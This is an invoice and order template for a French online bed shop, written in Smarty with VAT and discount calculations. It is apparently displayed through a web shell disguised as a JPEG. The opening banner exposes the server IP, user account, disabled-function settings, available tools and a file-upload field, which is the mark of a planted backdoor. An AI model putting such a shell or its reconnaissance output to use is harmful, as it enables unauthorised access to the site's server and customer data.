ÿØÿà JFIF ` ` ÿþxØ
| Server IP : 109.234.164.53 / Your IP : 216.73.216.110 Web Server : Apache System : Linux cervelle.o2switch.net 4.18.0-553.32.1.lve.el8.x86_64 #1 SMP Thu Dec 19 13:14:03 UTC 2024 x86_64 User : computer3 ( 1098) PHP Version : 7.1.33 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : OFF | Pkexec : OFF Directory : /home/computer3/litsolide.com/templates/shop/ |
Upload File : |
<html>
<head>
<title>{if $order.status == 0}Bon de commande{else}Facture{/if} {$info.title}</title>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
</head>
<style type="text/css">
.txtblanc {
color: white;
background-color: black;
}
</style>
<body>
<p align="center">
<table style="width:100%; height:100%; max-width:1200px">
<tr>
<td valign=top>
<div align="center">
<center>
<table border="0" cellspacing="0" style="width:100%; max-width:1200px" bgcolor="WHITE">
<tr>
<td valign="top" align="left" class="normal">
<img src="templates/shop/img/{$Image_Logo}" alt="" /><br>
<br>
<b><font size="5" face="VERDANA">{if $order.status == 0}Commande{else}Facture{/if} n° {$order.id}
{if $order.status == 0}<br><font size="2" face="VERDANA">Date Cde : {$order.date_insere|date_format:"%d-%m-%Y"}
{else}
<br><font size="2" face="VERDANA">Commande n° {$order.id}
<br><font size="2" face="VERDANA">Date Facture : {$order.date_insere|date_format:"%d-%m-%Y"}
{/if}
{if $cle_client_pro >0}
<br /><br /><i>Compte Entreprise</i>
<br /><i>Siret {$entreprise_client_pro} : {$siret_client_pro}</i> <br />
<i>Tarif préférentiel : -{$remise_client_pro}%</i>
{/if}
</td>
<td valign="bottom" align="right" class=petit>
<table border="1" cellpadding="5" cellspacing="1" width="100%" bordercolor="#C0C0C0">
<tr>
<td class="txtblanc"><b>Coordonnées de facturation</b></td>
</tr>
<tr>
<td class="normal">
{if $cle_client_pro >0}
<b>{$entreprise_client_pro}</b> <br />
{/if}
{$invoice.firstname} {$invoice.lastname}<br />
{if $invoice.company != ""}
{$invoice.company}<br />
{/if}
{$invoice.address1}<br />
{if $invoice.address2 != ""}
{$invoice.address2}<br>
{/if}
{$invoice.zip_code} {$invoice.city}<br />
{$invoice.country}<br />
Tel : {$invoice.phone}
</td>
</tr>
</table>
</td>
{if $invoice.id != $delivery.id}
<td valign="bottom" align="right" class=petit>
<table border="1" cellpadding="5" cellspacing="1" width="100%" bordercolor="#C0C0C0">
<tr>
<td class="txtblanc"><b>Adresse de livraison</b></td>
</tr>
<tr>
<td class="normal">
{$delivery.firstname} {$delivery.lastname}<br>
{if $delivery.company != ""}
{$delivery.company}<br>
{/if}
{$delivery.address1}<br>
{if $delivery.address2 != ""}
{$delivery.address2}<br>
{/if}
{$delivery.zip_code} {$delivery.city}<br>
{$delivery.country}<br>
Tel : {$delivery.phone}
</td>
</tr>
</table>
</td>
{/if}
</tr>
</table>
</center>
</div>
<br>
<br>
<div align="center">
<center>
<span class="normal"><b>Ce document tient compte des éventuelles réductions déjà appliquées.</b></span>
<br><br>
<table border="1" cellpadding="4" cellspacing="0" bordercolor="#C0C0C0" width="100%" bgcolor="WHITE">
<thead>
<tr>
<th width="10%" align="left" class="txtblanc"><strong>Ref</strong></th>
{if $cle_client_pro >0}
<th width="10%" align="left" class="txtblanc"><strong>Taux TVA</strong></th>
{/if}
<th width="45%" align="left" class="txtblanc"><strong>Produit</strong></th>
<th align="center" class="txtblanc"><strong>Qté</strong></th>
{if $cle_client_pro >0}
<th width="12%" align="center" class="txtblanc"><strong>Px Unit HT</strong></th>
{else}
<th width="12%" align="center" class="txtblanc"><strong>Px Unit TTC</strong></th>
{/if}
{if $cle_client_pro >0}
<th width="15%" align="right" class="txtblanc"><strong>Total HT</strong></th>
{else}
<th width="15%" align="right" class="txtblanc"><strong>Total TTC</strong></th>
{/if}
</tr>
</thead>
{$total_bt =0}
{$total_tb_httt =0}
{foreach $products as $product}
<tr>
<td class=normal>
{if isset($product.reference)}{$product.reference}{/if}
{if $product.date_dispo !=="0000-00-00"}
<span style="padding-left: 10px;color:#cc3300;font-size:10pt;font-weight:bold">
<br />Livrer à partir<br /> du {$product.date_dispo|date_format:"%e-%m-%Y"|utf8_encode}
</span>
{/if}
</td>
{if $cle_client_pro >0}
<td class=normal>
{if $product.cle_tva =='0'}
{$tauxx_tva = $T_0_valeur}
{else if $product.cle_tva =='1'}
{$tauxx_tva = $T_1_valeur}
{else if $product.cle_tva =='2'}
{$tauxx_tva = $T_2_valeur}
{else if $product.cle_tva =='3'}
{$tauxx_tva = $T_3_valeur}
{else}
{/if}
{$tauxx_tva} %
</td>
{/if}
<td class="normal">
{$product.name}
{if $product.discount != 0}<br>
<span style="padding-left: 10px;">
Remise de {$product.discount|string_format:"%.2f"|replace:'.':','} % incluse
</span>
{/if}
{if $product.attributes != ""}<br>
<span style="padding-left: 10px;">
{$product.attributes}
</span>
{/if}
</td>
<td class="normal" align=center>{$product.quantity}</td>
{if $cle_client_pro >0}
{$diviseur = $tauxx_tva / 100 + 1}
{$le_px_ht = $product.price / $diviseur}
<td class="normal" align=center>{$le_px_ht|string_format:"%.2f"|replace:'.':','} €</td>
{else}
<td class="normal" align=center>{$product.price|string_format:"%.2f"|replace:'.':','} €</td>
{/if}
{if $cle_client_pro >0}
<td class="normal" align=right>
{math equation="price * quantity" price=$product.price quantity=$product.quantity assign="total"}
{math equation="price_ht * quantity" price_ht=$le_px_ht quantity=$product.quantity assign="total_httt"}
{$total_httt|string_format:"%.2f"|replace:'.':','} €</td>
{else}
<td class="normal" align=right>{math equation="price * quantity" price=$product.price quantity=$product.quantity assign="total"}{$total|string_format:"%.2f"|replace:'.':','} €</td>
{/if}
</tr>
{$total_tb_httt = $total_tb_httt + $total_httt}
{$total_bt = $total_bt + $total}
{/foreach}
<!------------------------------------ FIN DE BOUCLE ------------------------------------------------------->
<!------------------- Sous-Total HT ou TTC -------------------->
{if $cle_client_pro >0}
{$tottr_httt = $total_tb_httt}
<tr>
<td colspan="5" align="right" bgcolor="#FFFFFF" class="normal">
<p><b>Sous-Total HT</b></p>
</td>
<td align="right" bgcolor="#FFFFFF" class="normal">
<b>{$tottr_httt|string_format:"%.2f"|replace:'.':','} €</b>
</td>
</tr>
{else}
{$tottr = $total_bt}
<tr>
<td colspan="4" align="right" bgcolor="#FFFFFF" class="normal">
<p><b>Sous-Total TTC</b></p>
</td>
<td align="right" bgcolor="#FFFFFF" class="normal">
<b>{$tottr|string_format:"%.2f"|replace:'.':','} €</b>
</td>
</tr>
{/if}
<!------------------- Brut Sous-Total TTC uniquement si Pro -------------------->
{$sub_total = $total_bt}
{if $cle_client_pro >0}
<tr>
<td colspan="5" align="right" class="txtblanc"><b>Brut Sous-Total TTC </b></td>
<td align="right" class="txtblanc">
<b>{$sub_total|string_format:"%.2f"|replace:'.':','} €</b>
</td>
</tr>
{/if}
<!--------------------------- Remises sur commande ----------------------------->
{if $order.discount > 0}
<tr>
{if $cle_client_pro >0}
<td colspan="5" align="right" bgcolor="#FFFFFF" class="normal">Remise {$order.txt_discount} s/TTC </td>
{else}
<td colspan="4" align="right" bgcolor="#FFFFFF" class="normal">Remise {$order.txt_discount} s/TTC </td>
{/if}
<td align="right" bgcolor="#FFFFFF" class="normal">- {$order.discount|string_format:"%.2f"|replace:'.':','} €</td>
</tr>
{$sub_total = $sub_total - $order.discount}
{if $order.bienvenue_ttc > 0}
<tr>
{if $cle_client_pro >0}
<td colspan="5" align="right" bgcolor="#FFFFFF" class="normal">Remise aa de bienvenue s/TTC ({$order.bienvenue_taux|string_format:"%.2f"|replace:'.':','} %) </td>
{else}
<td colspan="4" align="right" bgcolor="#FFFFFF" class="normal">Remise aa de bienvenue s/TTC ({$order.bienvenue_taux|string_format:"%.2f"|replace:'.':','} %) </td>
{/if}
<td align="right" bgcolor="#FFFFFF" class="normal">- {$order.bienvenue_ttc|string_format:"%.2f"|replace:'.':','} €</td>
</tr>
{$sub_total = $sub_total - $order.bienvenue_ttc}
{/if}
{if $order.fidelite_ttc > 0}
<tr>
{if $cle_client_pro >0}
<td colspan="5" align="right" bgcolor="#FFFFFF" class="normal">Remise de Fidélité s/TTC comprise ({$order.fidelite_taux|string_format:"%.2f"|replace:'.':','} %) </td>
{else}
<td colspan="4" align="right" bgcolor="#FFFFFF" class="normal">Remise de Fidélité s/TTC comprise ({$order.fidelite_taux|string_format:"%.2f"|replace:'.':','} %) </td>
{/if}
<td align="right" bgcolor="#FFFFFF" class="normal">- {$order.fidelite_ttc|string_format:"%.2f"|replace:'.':','} €</td>
{$sub_total = $sub_total - $order.fidelite_ttc}
</tr>
{/if}
{if $order.discount > 0 || $order.bienvenue_ttc >0 || $order.fidelite_ttc >0}
<tr>
{if $cle_client_pro >0}
<td colspan="5" align="right" class="txtblanc"><b>Net Sous-Total TTC </b></td>
{else}
<td colspan="4" align="right" class="txtblanc"><b>Net Sous-Total TTC </b></td>
{/if}
<td align="right" class="txtblanc">
<b>{$sub_total|string_format:"%.2f"|replace:'.':','} €</b>
</td>
</tr>
{/if}
{/if}
{if $order.discount == '0'}
{if $order.bienvenue_ttc > 0}
<tr>
{if $cle_client_pro >0}
<td colspan="5" align="right" bgcolor="#FFFFFF" class="normal">Remise de bienvenue s/TTC ({$order.bienvenue_taux|string_format:"%.2f"|replace:'.':','} %) </td>
{else}
<td colspan="4" align="right" bgcolor="#FFFFFF" class="normal">Remise de bienvenue s/TTC ({$order.bienvenue_taux|string_format:"%.2f"|replace:'.':','} %) </td>
{/if}
<td align="right" bgcolor="#FFFFFF" class="normal">- {$order.bienvenue_ttc|string_format:"%.2f"|replace:'.':','} €</td>
</tr>
{$sub_total = $sub_total - $order.bienvenue_ttc}
{/if}
{if $order.discount > 0 || $order.bienvenue_ttc >0 || $order.fidelite_ttc >0}
<tr>
{if $cle_client_pro >0}
<td colspan="5" align="right" class="txtblanc"><b>Net Sous-Total TTC </b></td>
{else}
<td colspan="4" align="right" class="txtblanc"><b>Net Sous-Total TTC </b></td>
{/if}
<td align="right" class="txtblanc"><b>{$sub_total|string_format:"%.2f"|replace:'.':','} €</b></td>
</tr>
{/if}
{/if}
<!------------------------------ Sous-Total HT --------------------------------->
{if $order.discount > 0 || $order.bienvenue_ttc >0 || $order.fidelite_ttc >0}
<tr>
{if $cle_client_pro >0}
<td colspan="5" align="right" bgcolor="#FFFFFF" class="normal"><p><b>Net Sous-Total HT </b></p></td>
{else}
<td colspan="4" align="right" bgcolor="#FFFFFF" class="normal"><p><b>Net Sous-Total HT </b></p></td>
{/if}
<td align="right" bgcolor="#FFFFFF" class="normal">
{math equation="tva1 + tva2 +tva3" tva1=$order.tva_1 tva2=$order.tva_2 tva3=$order.tva_3 assign="total_tva"}
{math equation="tot - tva" tot=$sub_total tva=$total_tva assign="total_ht"}
<b>{$total_ht|string_format:"%.2f"|replace:'.':','} €</b>
</td>
</tr>
{/if}
<!--------------------------- Repartition des TVA ------------------------------>
{$cumul_tvaa_assigne = 0}
{$cumul_tvaa = 0}
{if $order.tva_1< 0.0001 AND $order.tva_2< 0.0001 AND $order.tva_3< 0.0001}
<tr>
{if $cle_client_pro >0}
<td colspan="5" align="right" bgcolor="#FFFFFF" class="normal">{$order.txt_tva0} (0 %) </td>
{else}
<td colspan="4" align="right" bgcolor="#FFFFFF" class="normal">{$order.txt_tva0} (0 %) </td>
{/if}
<td align="right" bgcolor="#FFFFFF" class="normal">{$order.tva_0|string_format:"%.2f"|replace:'.':','} €</td>
</tr>
{$cumul_tvaa_assigne = Sans}
{$cumul_tvaa = 0}
{/if}
{if $order.tva_1 > 0}
<tr>
{if $cle_client_pro >0}
<td colspan="5" align="right" bgcolor="#FFFFFF" class="normal">TVA ({$order.txt_tva1}) </td>
{else}
<td colspan="4" align="right" bgcolor="#FFFFFF" class="normal">TVA ({$order.txt_tva1}) </td>
{/if}
<td align="right" bgcolor="#FFFFFF" class="normal">{$order.tva_1|string_format:"%.2f"|replace:'.':','} €</td>
{$cumul_tvaa_assigne = $cumul_tvaa_assigne +1}
{$cumul_tvaa = $cumul_tvaa + $order.tva_1}
</tr>
{/if}
{if $order.tva_2 > 0}
<tr>
{if $cle_client_pro >0}
<td colspan="5" align="right" bgcolor="#FFFFFF" class="normal">TVA ({$order.txt_tva2}) </td>
{else}
<td colspan="4" align="right" bgcolor="#FFFFFF" class="normal">TVA ({$order.txt_tva2}) </td>
{/if}
<td align="right" bgcolor="#FFFFFF" class="normal">{$order.tva_2|string_format:"%.2f"|replace:'.':','} €</td>
</tr>
{$cumul_tvaa_assigne = $cumul_tvaa_assigne +1}
{$cumul_tvaa = $cumul_tvaa + $order.tva_2}
{/if}
{if $order.tva_3 > 0}
<tr>
{if $cle_client_pro >0}
<td colspan="5" align="right" bgcolor="#FFFFFF" class="normal">TVA ({$order.txt_tva3}) </td>
{else}
<td colspan="4" align="right" bgcolor="#FFFFFF" class="normal">TVA ({$order.txt_tva3}) </td>
{/if}
<td align="right" bgcolor="#FFFFFF" class="normal">{$order.tva_3|string_format:"%.2f"|replace:'.':','} €</td>
</tr>
{$cumul_tvaa_assigne = $cumul_tvaa_assigne +1}
{$cumul_tvaa = $cumul_tvaa + $order.3}
{/if}
<tr>
{if $cumul_tvaa_assigne >1}
<tr>
{if $cle_client_pro >0}
<td colspan="5" align="right" bgcolor="#FFFFFF" class="normal"><b>Cumul TVA (hors transport éventuel) </b></td>
{else}
<td colspan="4" align="right" bgcolor="#FFFFFF" class="normal"><b>Cumul TVA (hors transport éventuel) </b></td>
{/if}
<td align="right" bgcolor="#FFFFFF" class="normal"><b>{$cumul_tvaa|string_format:"%.2f"|replace:'.':','} €</b></td>
</tr>
{/if}
<!------------------------------- Transporteur --------------------------------->
<tr>
{$transp = $order.px_transport}
{$coefT = $T_1_valeur / 100 + 1}
{$transp_ht = $transp / $coefT}
{$transp_tva = $transp_ht * $T_1_valeur / 100}
{if $cle_client_pro >0}
<td colspan="5" align="right" bgcolor="#FFFFFF" class="normal"><b>Frais de port TTC </b> ({$order.carrier}
{else}
<td colspan="4" align="right" bgcolor="#FFFFFF" class="normal"><b>Frais de port TTC </b> ({$order.carrier}
{/if}
{if $order.carrier_price > 0}
dont TVA {$order.txt_tva1}
{else}
sans TVA
{/if}
)
</td>
<td align="right" bgcolor="#FFFFFF" class="normal"><b>
{$transp|string_format:"%.2f"|replace:'.':','} €</b>
</td>
</tr>
<tr>
{if $cle_client_pro >0}
<td colspan="5" align="right" class="txtblanc">
{else}
<td colspan="4" align="right" class="txtblanc">
{/if}
<p><b>Total NET TTC A PAYER</b></p>
</td>
<td align="right" class="txtblanc">
<b>{$order.total|string_format:"%.2f"|replace:'.':','} €</b>
</td>
</tr>
{if $order.total_ecoprix > 0.001}
<tr>
{if $cle_client_pro >0}
<td colspan="5" align="right" bgcolor="#FFFFFF" class="normal">{$ecotext} </td>
{else}
<td colspan="4" align="right" bgcolor="#FFFFFF" class="normal">{$ecotext} </td>
{/if}
<td align="right" bgcolor="#FFFFFF" class="normal">{$order.total_ecoprix}</td>
</tr>
{/if}
<tr>
{if $cle_client_pro >0}
<td colspan="5" align="right" bgcolor="#FFFFFF" class="normal">Mode de paiement </td>
{else}
<td colspan="4" align="right" bgcolor="#FFFFFF" class="normal">Mode de paiement </td>
{/if}
<td align="right" bgcolor="#FFFFFF" class="normal">{$order.payment}</td>
</tr>
</table>
</center>
</div>
<p align="center">
<b> {if !empty($info.company)}{$info.company} - {/if}
{if !empty($info.address)}{$info.address} - {/if}
{if !empty($info.zip_code)} {$info.zip_code} {/if}
{if !empty($info.town)} {$info.town}{/if}
<br />
{if !empty($info.phone)}{$info.phone} {/if}
{if !empty($info.fax)}{$info.fax} {/if}
{if $info.email_contact != ""} {$info.email_contact}{/if} </b>
<br />
<span style="font-size:11pt">{$tva_intra} - {$siren} <br /> {$txt_fact}</span></p>
</td>
</tr>
</table>
</p>
</body>
</html>